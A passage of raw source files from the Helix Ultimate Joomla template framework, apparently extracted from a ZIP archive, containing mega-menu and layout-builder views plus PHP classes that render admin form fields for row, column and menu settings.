</div>PK!�(3���+helixultimate/layout/megaMenu/container.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Uri\Uri;

extract($displayData);

$sidebarLayout = new FileLayout('megaMenu.sidebar', HELIX_LAYOUT_PATH);
$gridLayout = new FileLayout('megaMenu.grid', HELIX_LAYOUT_PATH);
$settings = $builder->getMegaMenuSettings();

if (!class_exists('MegaFields'))
{
    require_once __DIR__ . '/megaFields.php';
}

?>

<div class="hu-megamenu-container hu-d-flex hu-justify-content-between">
	<?php echo $sidebarLayout->render(['itemId' => $itemId, 'builder' => $builder, 'settings' => $settings]); ?>
	<?php echo $gridLayout->render(['itemId' => $itemId, 'builder' => $builder, 'settings' => $settings]); ?>
	<div class="hu-megamenu-popover">
        <div class="hu-megamenu-popover-heading">
            <h5 class="title"><?php echo Text::_('HELIX_ULTIMATE_MENU_MODULE_LIST'); ?></h5>
            <button class="hu-btn hu-btn-link hu-megamenu-popover-close">
                <span class="fas fa-times" aria-hidden="true"></span>
            </button>
        </div>
        <div class="hu-megamenu-popover-body">
            <div class="hu-megamenu-search-wrapper">
                <span class="fas fa-search" aria-hidden="true"></span>
                <input type="search" class="hu-input hu-megamenu-module-search" placeholder="<?php echo Text::_('HELIX_ULTIMATE_SEARCH_MODULE_HINT'); ?>" />
            </div>

            <div class="hu-megamenu-modules-container">
               
            </div>
        </div>
    </div>
	<input type="hidden" id="hu-megamenu-layout-settings" value='<?php echo json_encode($settings); ?>' />
	<input type="hidden" id="hu-base-url" value="<?php echo Uri::root(); ?>" />
	<input type="hidden" id="hu-menu-itemid" value="<?php echo $itemId; ?>" />
</div>PK!A�d"helixultimate/layout/generated.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die ();

$fields = JFolder::files( dirname( __FILE__ ) . '/fields', '\.php$', false, true);
foreach ($fields as $field)
{
    require_once $field;
}

require_once 'settings/settings.php';

echo RowColumnSettings::getRowSettings($rowSettings);
echo RowColumnSettings::getColumnSettings($columnSettings);

$layout_path  = JPATH_ROOT .'/plugins/system/helixultimate/layouts';
?>

<div class="hidden">
    <div class="save-box">
        <div class="mb-3">
            <label><?php echo JText::_('HELIX_ENTER_LAYOUT_NAME'); ?></label>
            <input class="form-control addon-input addon-name" type="text" data-attrname="layout_name" value="" placeholder="">
        </div>
    </div>
</div>

<div class="hidden">
    <?php
        $lt_section = new JLayoutFile('backend.section', $layout_path );
        $obj = new stdClass;
        $obj->sectionID = true;
        echo $lt_section->render($obj);
    ?>
</div>

<div class="clearfix"></div>

<!-- Layout Builder Section -->
<div id="hu-layout-builder" >
<?php
    $output = '';
    if ($layout_data)
    {
        foreach ($layout_data as $row)
        {
            $lt_section = new JLayoutFile('backend.section', $layout_path );
            $output .= $lt_section->render($row);
        }
    }

    echo $output;
    ?>
</div>

<div class="clearfix"></div>
PK!�MMT�0�0*helixultimate/layout/settings/settings.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

function column_grid_system($device = 'lg')
{
	$col = array(0 => 'Inherit');

	for ($i = 1; $i <= 12; $i++)
	{
		if ($device === 'xs')
		{
			$col[$i] = 'col-' . $i;
		}
		else
		{
			$col[$i] = 'col-' . $device . '-' . $i;
		}
	}

	return $col;
}

$rowSettings = array(
	'type' => 'general',
	'title' => '',
	'attr' => array(
		'name' => array(
			'type' => 'text',
			'group' => 'general',
			'title' => Text::_('HELIX_ULTIMATE_SECTION_TITLE'),
			'desc' => Text::_('HELIX_ULTIMATE_SECTION_TITLE_DESC')
		),

		'fluidrow' => array(
			'type' => 'checkbox',
			'group' => 'general',
			'title' => Text::_('HELIX_ULTIMATE_ROW_FULL_WIDTH'),
			'desc' => Text::_('HELIX_ULTIMATE_ROW_FULL_WIDTH_DESC')
		),

		'custom_class' => array(
			'type' => 'text',
			'group' => 'general',
			'title' => Text::_('HELIX_ULTIMATE_CUSTOM_CLASS'),
			'desc' => Text::_('HELIX_ULTIMATE_CUSTOM_CLASS_DESC'),
			'std' => ''
		),

		'padding' => array(
			'type' => 'text',
			'group' => 'style',
			'title'	=> Text::_('HELIX_ULTIMATE_PADDING'),
			'placeholder' => '0px 0px 0px 0px'
		),

		'margin' => array(
			'type' => 'text',
			'group' => 'style',
			'title'	=> Text::_('HELIX_ULTIMATE_MARGIN'),
			'placeholder' => '0px 0px 0px 0px'
		),

		'color' => array(
			'type' => 'color',
			'group' => 'style',
			'title' => Text::_('HELIX_ULTIMATE_SECTION_TEXT_COLOR')
		),

		'link_color' => array(
			'type' => 'color',
			'group' => 'style',
			'title' => Text::_('HELIX_ULTIMATE_LINK_COLOR')
		),

		'link_hover_color' => array(
			'type' => 'color',
			'group' => 'style',
			'title' => Text::_('HELIX_ULTIMATE_LINK_HOVER_COLOR')
		),

		'background_color' => array(
			'type' => 'color',
			'group' => 'style',
			'title' => Text::_('HELIX_ULTIMATE_SECTION_BACKGROUND_COLOR')
		),

		'background_image' => array(
			'type' => 'media',
			'group' => 'style',
			'title' => Text::_('HELIX_ULTIMATE_SECTION_BACKGROUND_IMAGE')
		),

		'background_repeat' => array(
			'type' => 'select',
			'group' => 'style',
			'title' => Text::_('HELIX_ULTIMATE_BACKGROUND_REPEAT'),
			'values' => array(
				'no-repeat' => Text::_('HELIX_ULTIMATE_BACKGROUND_REPEAT_NO'),
				'repeat' => Text::_('HELIX_ULTIMATE_BACKGROUND_REPEAT_ALL'),
				'repeat-x' => Text::_('HELIX_ULTIMATE_BACKGROUND_REPEAT_HORIZ'),
				'repeat-y' => Text::_('HELIX_ULTIMATE_BACKGROUND_REPEAT_VERTI'),
				'inherit' => Text::_('HELIX_ULTIMATE_BACKGROUND_REPEAT_INHERIT'),
			)
		),

		'background_size' => array(
			'type' => 'select',
			'group' => 'style',
			'title' => Text::_('HELIX_ULTIMATE_BACKGROUND_SIZE'),
			'values' => array(
				'cover' => Text::_('HELIX_ULTIMATE_BACKGROUND_COVER'),
				'contain' => Text::_('HELIX_ULTIMATE_BACKGROUND_CONTAIN'),
				'inherit' => Text::_('HELIX_ULTIMATE_BACKGROUND_INHERIT'),
			)
		),

		'background_attachment' => array(
			'type' => 'select',
			'group' => 'style',
			'title' => Text::_('HELIX_ULTIMATE_BACKGROUND_ATTACHMENT'),
			'values' => array(
				'fixed' => Text::_('HELIX_ULTIMATE_BACKGROUND_ATTACHMENT_FIXED'),
				'scroll' => Text::_('HELIX_ULTIMATE_BACKGROUND_ATTACHMENT_SCROLL'),
				'inherit' => Text::_('HELIX_ULTIMATE_BACKGROUND_ATTACHMENT_INHERIT'),
			)
		),

		'background_position' => array(
			'type' => 'select',
			'group' => 'style',
			'title' => Text::_('HELIX_ULTIMATE_BACKGROUND_POSITION'),
			'values' => array(
				'0 0' => Text::_('HELIX_ULTIMATE_BACKGROUND_POSITION_LEFT_TOP'),
				'0 50%' => Text::_('HELIX_ULTIMATE_BACKGROUND_POSITION_LEFT_CENTER'),
				'0 100%' => Text::_('HELIX_ULTIMATE_BACKGROUND_POSITION_LEFT_BOTTOM'),
				'50% 0' => Text::_('HELIX_ULTIMATE_BACKGROUND_POSITION_CENTER_TOP'),
				'50% 50%' => Text::_('HELIX_ULTIMATE_BACKGROUND_POSITION_CENTER_CENTER'),
				'50% 100%' => Text::_('HELIX_ULTIMATE_BACKGROUND_POSITION_CENTER_BOTTOM'),
				'100% 0' => Text::_('HELIX_ULTIMATE_BACKGROUND_POSITION_RIGHT_TOP'),
				'100% 50%' => Text::_('HELIX_ULTIMATE_BACKGROUND_POSITION_RIGHT_CENTER'),
				'100% 100%' => Text::_('HELIX_ULTIMATE_BACKGROUND_POSITION_RIGHT_BOTTOM'),
			)
		),

		'hide_on_phone' => array(
			'type' => 'checkbox',
			'group' => 'responsive',
			'title' => Text::_('HELIX_ULTIMATE_HIDDEN_PHONE')
		),

		'hide_on_large_phone' => array(
			'type' => 'checkbox',
			'group' => 'responsive',
			'title' => Text::_('HELIX_ULTIMATE_HIDDEN_LARGER_PHONE')
		),

		'hide_on_tablet' => array(
			'type' => 'checkbox',
			'group' => 'responsive',
			'title' => Text::_('HELIX_ULTIMATE_HIDDEN_TABLET')
		),

		'hide_on_small_desktop' => array(
			'type' => 'checkbox',
			'group' => 'responsive',
			'title' => Text::_('HELIX_ULTIMATE_HIDDEN_SMALL_DESKTOP')
		),

		'hide_on_desktop' => array(
			'type' => 'checkbox',
			'group' => 'responsive',
			'title' => Text::_('HELIX_ULTIMATE_HIDDEN_DESKTOP')
		)
	)
);

$columnSettings = array(
	'type' => 'general',
	'title' => '',
	'attr' => array(
		'column_type' => array(
			'type' => 'checkbox',
			'group' => 'general',
			'title' => Text::_('HELIX_ULTIMATE_COMPONENT'),
			'desc' => Text::_('HELIX_ULTIMATE_COMPONENT_DESC'),
			'std' => '',
		),

		'name' => array(
			'type' => 'select',
			'group' => 'general',
			'title' => Text::_('HELIX_ULTIMATE_MODULE_POSITION'),
			'desc' => Text::_('HELIX_ULTIMATE_MODULE_POSITION_DESC'),
			'values' => array(),
			'std' => 'none',
		),

		'custom_class' => array(
			'type' => 'text',
			'group' => 'general',
			'title' => Text::_('HELIX_ULTIMATE_CUSTOM_CLASS'),
			'desc' => Text::_('HELIX_ULTIMATE_CUSTOM_CLASS_DESC'),
			'std' => ''
		),

		'xl_col' => array(
			'type' => 'select',
			'group' => 'grid',
			'title' => Text::_('HELIX_ULTIMATE_LARGER_DESKTOP_GRID'),
			'values' => column_grid_system('xl'),
			'std' => 0,
		),

		'lg_col' => array(
			'type' => 'select',
			'group' => 'grid',
			'title' => Text::_('HELIX_ULTIMATE_SMALLER_DESKTOP_GRID'),
			'values' => column_grid_system('lg'),
			'std' => 0,
		),

		'md_col' => array(
			'type' => 'select',
			'group' => 'grid',
			'title' => Text::_('HELIX_ULTIMATE_TABLET_GRID'),
			'values' => column_grid_system('md'),
			'std' => 0,
		),

		'sm_col' => array(
			'type' => 'select',
			'group' => 'grid',
			'title' => Text::_('HELIX_ULTIMATE_LARGER_PHONE_GRID'),
			'values' => column_grid_system('sm'),
			'std' => 0,
		),

		'xs_col' => array(
			'type' => 'select',
			'group' => 'grid',
			'title' => Text::_('HELIX_ULTIMATE_PHONE_GRID'),
			'values' => column_grid_system('xs'),
			'std' => 0,
		),

		'hide_on_phone' => array(
			'type' => 'checkbox',
			'group' => 'responsive',
			'title' => Text::_('HELIX_ULTIMATE_HIDDEN_PHONE')
		),

		'hide_on_large_phone' => array(
			'type' => 'checkbox',
			'group' => 'responsive',
			'title' => Text::_('HELIX_ULTIMATE_HIDDEN_LARGER_PHONE')
		),

		'hide_on_tablet' => array(
			'type' => 'checkbox',
			'group' => 'responsive',
			'title' => Text::_('HELIX_ULTIMATE_HIDDEN_TABLET')
		),

		'hide_on_small_desktop' => array(
			'type' => 'checkbox',
			'group' => 'responsive',
			'title' => Text::_('HELIX_ULTIMATE_HIDDEN_SMALL_DESKTOP')
		),

		'hide_on_desktop' => array(
			'type' => 'checkbox',
			'group' => 'responsive',
			'title' => Text::_('HELIX_ULTIMATE_HIDDEN_DESKTOP')
		),
	)
);

/**
 * Row colum settings.
 *
 * @since	1.0.0
 */
class RowColumnSettings
{

	/**
	 * Get the input elements by key attributes.
	 *
	 * @param	string	$key	The field key
	 * @param	array	$attr	Field attributes
	 *
	 * @return	string
	 * @since	1.0.0
	 */
	private static function getInputElements($key, $attr)
	{
		return call_user_func(array('HelixultimateField' . ucfirst($attr['type']), 'getInput'), $key, $attr);
	}

	/**
	 * Get row settings.
	 *
	 * @param	array	$row_settings	Row settings
	 *
	 * @return	string	Row string
	 * @since	1.0.0
	 */
	static public function getRowSettings($row_settings = array())
	{

		$output = '<div style="display: none;">';
		$output .= '<div id="hu-row-settings">';

		$options = array();

		foreach ($row_settings['attr'] as $key => $rowAttr)
		{
			if (isset($rowAttr['group']) && $rowAttr['group'])
			{
				$options[$rowAttr['group']][$key] = $rowAttr;
				unset($rowAttr['group']);
			}
			else
			{
				$options['general'][$key] = $rowAttr;
			}
		}

		$i = 0;

		foreach ($options as $key2 => $option_list)
		{
			$active = '';

			if ((int) $i === 0)
			{
				$active = ' active';
			}

			$output .= '<div class="hu-option-group hu-option-group-' . strtolower($key2) . $active . '">';
			$output .= '<div class="hu-option-group-title">';
			$output .= '<span class="fas fa-angle-right" aria-hidden="true"></span>' . Text::_('HELIX_ULTIMATE_OPTION_GROUP_' . strtoupper($key2));
			$output .= '</div>';
			$output .= '<div class="hu-option-group-list">';

			foreach ($option_list as $key3 => $option)
			{
				$output .= self::getInputElements($key3, $option);
			}

			$output .= '</div>';
			$output .= '</div>';
			$i++;
		}

		$output .= '</div>';
		$output .= '</div>';

		return $output;
	}

	/**
	 * Get column settings.
	 *
	 * @param	array	$col_settings	Columns settings
	 *
	 * @return	string	column settings.
	 * @since	1.0.0
	 */
	static public function getColumnSettings($col_settings = array())
	{

		$col_settings['attr']['name']['values'] = self::getPositions();

		$output = '<div style="display: none;">';
		$output .= '<div id="hu-column-settings">';

		$options = array();

		foreach ($col_settings['attr'] as $key => $colAttr)
		{
			if (isset($colAttr['group']) && $colAttr['group'])
			{
				$options[$colAttr['group']][$key] = $colAttr;
				unset($colAttr['group']);
			}
			else
			{
				$options['general'][$key] = $colAttr;
			}
		}

		$i = 0;

		foreach ($options as $key2 => $option_list)
		{
			$active = '';

			if ((int) $i === 0)
			{
				$active = ' active';
			}

			$output .= '<div class="hu-option-group hu-option-group-' . strtolower($key2) . $active . '">';
			$output .= '<div class="hu-option-group-title">';
			$output .= '<span class="fas fa-angle-right" aria-hidden="true"></span>' . Text::_('HELIX_ULTIMATE_OPTION_GROUP_' . strtoupper($key2));
			$output .= '</div>';
			$output .= '<div class="hu-option-group-list">';

			foreach ($option_list as $key3 => $option)
			{
				$output .= self::getInputElements($key3, $option);
			}

			$output .= '</div>';
			$output .= '</div>';
			$i++;
		}

		$output .= '</div>';
		$output .= '</div>';

		return $output;
	}

	/**
	 * Get template name
	 *
	 * @return	string	template name
	 * @since	1.0.0
	 */
	static public function getTemplateName()
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('template')));
		$query->from($db->quoteName('#__template_styles'));
		$query->where($db->quoteName('client_id') . ' = 0');
		$query->where($db->quoteName('home') . ' = 1');
		$db->setQuery($query);

		return $db->loadObject()->template;
	}

	/**
	 * Get module positions
	 */
	static public function getPositions()
	{

		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName('position'));
		$query->from($db->quoteName('#__modules'));
		$query->where($db->quoteName('client_id') . ' = 0');
		$query->where($db->quoteName('published') . ' = 1');
		$query->group('position');
		$query->order('position ASC');
		$db->setQuery($query);
		$dbpositions = $db->loadObjectList();

		$template  = self::getTemplateName();

		$templateXML = JPATH_SITE . '/templates/' . $template . '/templateDetails.xml';
		$templateXml = simplexml_load_file($templateXML);
		$options = array();

		foreach ($dbpositions as $positions)
		{
			$options[] = $positions->position;
		}

		foreach ($templateXml->positions[0] as $position)
		{
			$options[] = (string) $position;
		}

		ksort($options);

		$opts = array_unique($options);

		$options = array();

		foreach ($opts as $opt)
		{
			$options[$opt] = $opt;
		}

		return $options;
	}

	/**
	 * Get settings
	 *
	 * @param	array	$config	The configuration array
	 *
	 * @return	string	settings HTML
	 * @since	1.0.0
	 */
	static public function getSettings($config = null)
	{
		$data = '';

		if (!empty($config))
		{
			foreach ($config as $key => $value)
			{
				$data .= ' data-' . $key . '="' . $value . '"';
			}
		}

		return $data;
	}
}
PK!]���(helixultimate/layout/settings/fields.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Filesystem\Folder;

/**
 * Fields helper
 *
 * @since	1.0.0
 */
class HelixUltimateFieldsHelper
{
	protected function __construct()
	{
		$fields = Folder::files(dirname(__FILE__) . '/fields', '\.php$', false, true);

		foreach ($fields as $field)
		{
			require_once $field;
		}
	}

	protected static function getInputElements($key, $attr)
	{
		return call_user_func(array('HelixultimateField' . ucfirst($attr['field']), 'getInput'), $key, $attr);
	}
}
PK!�}��$helixultimate/layout/fields/text.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Settings;

/**
 * Text field.
 *
 * @since	 1.0.0
 */
class HelixultimateFieldText
{
	/**
	 * Get input for the field.
	 *
	 * @param	string	$key
	 * @param	array	$attr
	 *
	 * @return	string
	 * @since	1.0.0
	 */
	public static function getInput($key, $attr)
	{
		$isMenuBuilder = isset($attr['menu-builder']) && $attr['menu-builder'] === true;
		$attributes = (isset($attr['placeholder']) && $attr['placeholder']) ? 'placeholder="' . $attr['placeholder'] . '"' : '';
		$className = $attr['class'] ?? '';

		$value = !empty($attr['value']) ? $attr['value'] : '';
		$depend = isset($attr['depend']) ? $attr['depend'] : false;
		$dataAttrs = '';
		$dataShowon = '';
		$internal = !empty($attr['internal']) ? ' internal-use-only' : '';

		if ($depend)
		{
			$showon = Settings::parseShowOnConditions($attr['depend']);
			$dataShowon = ' data-revealon=\'' . json_encode($showon) . '\' ';
		}

		if (!empty($attr['data']))
		{
			foreach ($attr['data'] as $dataName => $dataValue)
			{
				$dataAttrs .= ' data-' . $dataName . '=' . $dataValue;
			}
		}

		$output  = '<div class="control-group ' . $className . '" ' . $dataShowon . ' >';
		$output .= '<div class="control-group-inner">';
		$output .= '<div class="control-label">';
		$output .= '<label>' . $attr['title'];
		$output .= !empty($attr['desc']) ? '<span class="hu-help-icon hu-ml-2 fas fa-info-circle"></span>' : '';
		$output .= '</label>';

		$output .= '</div>';
		$output .= !empty($attr['desc']) ? '<p class="hu-control-help">' . $attr['desc'] . '</p>' : '';

		$output .= '</div>';

		if ($isMenuBuilder)
		{
			$output .= '<input class="hu-input hu-megamenu-builder-' . $key . $internal . '" type="text" ' . $dataAttrs . ' name="' . $key . '" value="' . $value . '" ' . $attributes . ' />';
		}
		else
		{
			$output	.= '<input class="hu-input addon-' . $key . '" type="text" name="' . $key . '" data-attrname="' . $key . '" value="" ' . $attributes . ' />';
		}

		$output .= '</div>';

		return $output;
	}

}
PK!�;�ڱ�$helixultimate/layout/fields/unit.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Settings;

/**
 * Measurement unit field.
 *
 * @since	 2.0.0
 */
class HelixultimateFieldUnit
{
	/**
	 * Get input for the field.
	 *
	 * @param	string	$key
	 * @param	array	$attr
	 *
	 * @return	string
	 * @since	1.0.0
	 */
	public static function getInput($key, $attr)
	{
		$attributes = (isset($attr['placeholder']) && $attr['placeholder']) ? 'placeholder="' . $attr['placeholder'] . '"' : '';
		$className = $attr['class'] ?? '';

		$value = !empty($attr['value']) ? $attr['value'] : '';
		$depend = isset($attr['depend']) ? $attr['depend'] : false;
		$dataAttrs = '';
		$dataShowon = '';
		$internal = !empty($attr['internal']) ? ' internal-use-only' : '';

		if ($depend)
		{
			$showon = Settings::parseShowOnConditions($attr['depend']);
			$dataShowon = ' data-revealon=\'' . json_encode($showon) . '\' ';
		}

		if (!empty($attr['data']))
		{
			foreach ($attr['data'] as $dataName => $dataValue)
			{
				$dataAttrs .= ' data-' . $dataName . '=' . $dataValue;
			}
		}

		$output  = '<div class="control-group ' . $className . '" ' . $dataShowon . ' >';
		$output .= '<label>' . $attr['title'] . '</label>';

		if (!empty($attr['desc']))
		{
			$output .= '<span class="hu-help-icon hu-ml-2 fas fa-info-circle"></span>';
			$output .= '<p class="hu-control-help">' . $attr['desc'] . '</p>';
		}

		// By default the unit is px.
		$unit = 'px';

		if (isset($value))
		{
			$matches = [];

			if (preg_match("@^([+-]?(?:\d+|\d*\.\d+))(px|em|rem|%)$@", $value, $matches))
			{
				if (count($matches) >= 3)
				{
					$value = $matches[1];

					if (isset($matches[2]))
					{
						$unit = strtolower($matches[2]);
					}
				}
			}
			elseif (is_numeric($value))
			{
				$value = (float) $value;
			}
			else
			{
				$value = '';
			}
		}

		$value = !isset($value) ? '' : $value;
		$finalValue = $value !== '' ? $value . $unit : '';

		$output .= '<div class="hu-input-group hu-unit-group">';
		$output .= '<input type="hidden" class="hu-unit-field-value" name="' . $key . '" value="' . $finalValue . '"/>';
		$output .= '	<input type="text" class="hu-field-dimension-width form-control hu-unit-field-input ' . $key . '" value="' . $value . '" />';
		$output .= '	<select class="hu-unit-select">';
		$output .= '		<option value="px" ' . ($unit === 'px' ? 'selected' : '') . '>px</option>';
		$output .= '		<option value="em" ' . ($unit === 'em' ? 'selected' : '') . '>em</option>';
		$output .= '		<option value="rem" ' . ($unit === 'rem' ? 'selected' : '') . '>rem</option>';
		$output .= '		<option value="%" ' . ($unit === '%' ? 'selected' : '') . '>%</option>';
		$output .= '	</select>';
		$output .= '</div>';

		// End of control group
		$output .= '</div>';

		return $output;
	}

}
PK![�9���&helixultimate/layout/fields/select.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Settings;

/**
 * Select field
 *
 * @since	1.0.0
 */
class HelixultimateFieldSelect
{
	/**
	 * Get input for the field.
	 *
	 * @param	string	$key
	 * @param	array	$attr
	 *
	 * @return	string
	 * @since	1.0.0
	 */
	public static function getInput($key, $attr)
	{
		$isMenuBuilder = isset($attr['menu-builder']) && $attr['menu-builder'] === true;

		$value = !empty($attr['value']) ? $attr['value'] : '';
		$options = !empty($attr['options']) ? $attr['options'] : (!empty($attr['values']) ? $attr['values'] : []);
		$depend = isset($attr['depend']) ? $attr['depend'] : false;
		$className = $attr['class'] ?? '';
		$dataAttrs = '';
		$dataShowon = '';
		$internal = !empty($attr['internal']) ? ' internal-use-only' : '';

		if ($depend)
		{
			$showon = Settings::parseShowOnConditions($attr['depend']);
			$dataShowon = ' data-revealon=\'' . json_encode($showon) . '\' ';
		}

		if (!empty($attr['data']))
		{
			foreach ($attr['data'] as $dataName => $dataValue)
			{
				$dataAttrs .= ' data-' . $dataName . '=' . $dataValue;
			}
		}

		$output  = '<div class="control-group ' . $className . ' ' . $key . '" ' . $dataShowon . '>';
		$output .= '<label>' . $attr['title'];

		$output .= !empty($attr['desc']) ? '<span class="hu-help-icon hu-ml-2 fas fa-info-circle"></span>' : '';
		$output .= '</label>';
		$output .= !empty($attr['desc']) ? '<p class="hu-control-help">' . $attr['desc'] . '</p>' : '';

		if ($isMenuBuilder)
		{
			$output .= '<select class="hu-input input-select hu-megamenu-builder-' . $key . $internal . '" name="' . $key . '" ' . $dataAttrs . '>';
		}
		else
		{
			$output .= '<select class="hu-input input-select" data-attrname="' . $key . '">';
		}

		foreach ($options as $optKey => $text)
		{
			$output .= '<option value="' . $optKey . '" ' . ($optKey === $value ? 'selected="selected"' : '') . '>' . $text . '</option>';
		}

		$output .= '</select>';

		$output .= '</div>';

		return $output;
	}

}
PK!�:/OO-helixultimate/layout/fields/menuHierarchy.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Helper;
use HelixUltimate\Framework\Platform\Settings;
use Joomla\CMS\Language\Text;

/**
 * Text field.
 *
 * @since	 1.0.0
 */
class HelixultimateFieldMenuHierarchy
{
	/**
	 * Get input for the field.
	 *
	 * @param	string	$key
	 * @param	array	$attr
	 *
	 * @return	string
	 * @since	1.0.0
	 */
	public static function getInput($key, $attr)
	{
		$itemId = $attr['itemid'];
		$dataAttrs = '';
		$value = isset($attr['value']) ? $attr['value'] : '';
		$depend = isset($attr['depend']) ? $attr['depend'] : false;
		$className = $attr['class'] ?? '';
		$internal = !empty($attr['internal']) ? ' internal-use-only' : '';

		if ($depend)
		{
			$showon = Settings::parseShowOnConditions($attr['depend']);
			$dataShowon = ' data-revealon=\'' . json_encode($showon) . '\' ';
		}

		if (!empty($value) && \is_string($value))
		{
			$value = json_decode($value, true);
		}
		else
		{
			$value = [];
		}

		if (!empty($attr['data']))
		{
			foreach ($attr['data'] as $dataName => $dataValue)
			{
				$dataAttrs .= ' data-' . $dataName . '=' . $dataValue;
			}
		}

		$html = [];
		$html[]  = '<div class="control-group hu-menu-hierarchy-container ' . $key . ' ' . $className . '" ' . $dataShowon . '>';
		$html[] = '<label>' . $attr['title'] . '</label>';

		if (!empty($attr['desc']))
		{
			$html[] = '<label class="hu-help-icon hu-ml-2 fas fa-info-circle"></label>';
			$html[] = '<p class="hu-control-help">' . $attr['desc'] . '</p>';
		}

		$menuElements = new \stdClass;
		$menuElements->$itemId = new \stdClass;
		$menuElements->$itemId->id = $itemId;
		$menuElements->$itemId->title = 'root';
		$menuElements->$itemId->children = [];

		Helper::getMenuItems($itemId, $menuElements);

		/**
		 * Calculate the total menu Items for detecting the select all checkbox.
		 */
		$totalElements = 0;
		$children = $menuElements->$itemId->children;
		$totalElements += count($children);
		$allElements = [];
		$allElements = array_merge($allElements, $children);

		if (empty($children))
		{
			$html[] = '<div><strong>There is not child items for this menu item.</strong></div>';
			$value = [];
		}
		else
		{
			while (count($children))
			{
				$child = array_shift($children);

				if (!empty($menuElements->$child->children))
				{
					array_unshift($children, ...$menuElements->$child->children);
					$totalElements += count($menuElements->$child->children);
					$allElements = array_merge($allElements, $menuElements->$child->children);
				}
			}

			if (!empty($menuElements) && !empty($menuElements->$itemId->children))
			{
				$checkAll = count($value) === $totalElements ? 'checked="checked"' : '';
				$elements = ' data-elements=\'' . json_encode($allElements) . '\'';

				$html[] = '<ul class="hu-menu-hierarchy-list">';
				$html[] = '<li class="hu-menu-hierarchy-item level-0">';
				$html[] = '	<label class="hu-menu-item-title">';
				$html[] = '		<input type="checkbox" class="hu-input hu-menu-item-selector select-all level-0 ' . $internal . '" data-level="0" ' . $checkAll . $elements . '/>';
				$html[] = '		<span>' . Text::_('HELIX_ULTIMATE_MENU_HIERARCHY_SELECT_ALL') . '</span>';
				$html[] = '	</label>';
				$html[] = '</li>';
				$children = $menuElements->$itemId->children;

				while (count($children) > 0)
				{
					$child = array_shift($children);

					$margin = ($menuElements->$child->level - 2) * 10;
					$level = $menuElements->$child->level - 1;
					$val = $menuElements->$child->id;
					$check = \in_array($val, $value) ? 'checked="checked"' : '';

					$html[] = '<li class="hu-menu-hierarchy-item level-' . $level . '">';
					$html[] = '	<label class="hu-menu-item-title">';
					$html[] = '		<input type="checkbox" class="hu-input hu-menu-item-selector level-' . $level . $internal . '" value="' . $val . '" data-level="' . $level . '" ' . $check . ' />';
					$html[] = '		<span style="margin-left: ' . $margin . 'px;">' . $menuElements->$child->title . '</span>';
					$html[] = '	</label>';
					$html[] = '</li>';

					if (!empty($menuElements->$child->children))
					{
						array_unshift($children, ...$menuElements->$child->children);
					}
				}

				$html[] = '</ul>';
			}
		}

		if (\is_array($value))
		{
			$value = json_encode($value);
		}

		$html[] = '<input type="hidden" class="' . $internal . '" name="' . $key . '" value=\'' . $value . '\' ' . $dataAttrs . ' />';
		$html[] = '</div>';

		return implode("\n", $html);
	}

}
PK!��,���%helixultimate/layout/fields/color.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Settings;

/**
 * Color field
 *
 * @since 	1.0.0
 */
class HelixultimateFieldColor
{

	/**
	 * Get input for the field.
	 *
	 * @param	string	$key
	 * @param	array	$attr
	 *
	 * @return	string
	 * @since	1.0.0
	 */
	public static function getInput($key, $attr)
	{
		// JHtml::_('jquery.framework');
		// JHtml::_('script', 'system/html5fallback.js', false, true);

		$isMenuBuilder = isset($attr['menu-builder']) && $attr['menu-builder'] === true;
		$value = !empty($attr['value']) ? $attr['value'] : '';
		$depend = isset($attr['depend']) ? $attr['depend'] : false;
		$className = $attr['class'] ?? '';
		$dataAttrs = '';
		$dataShowon = '';
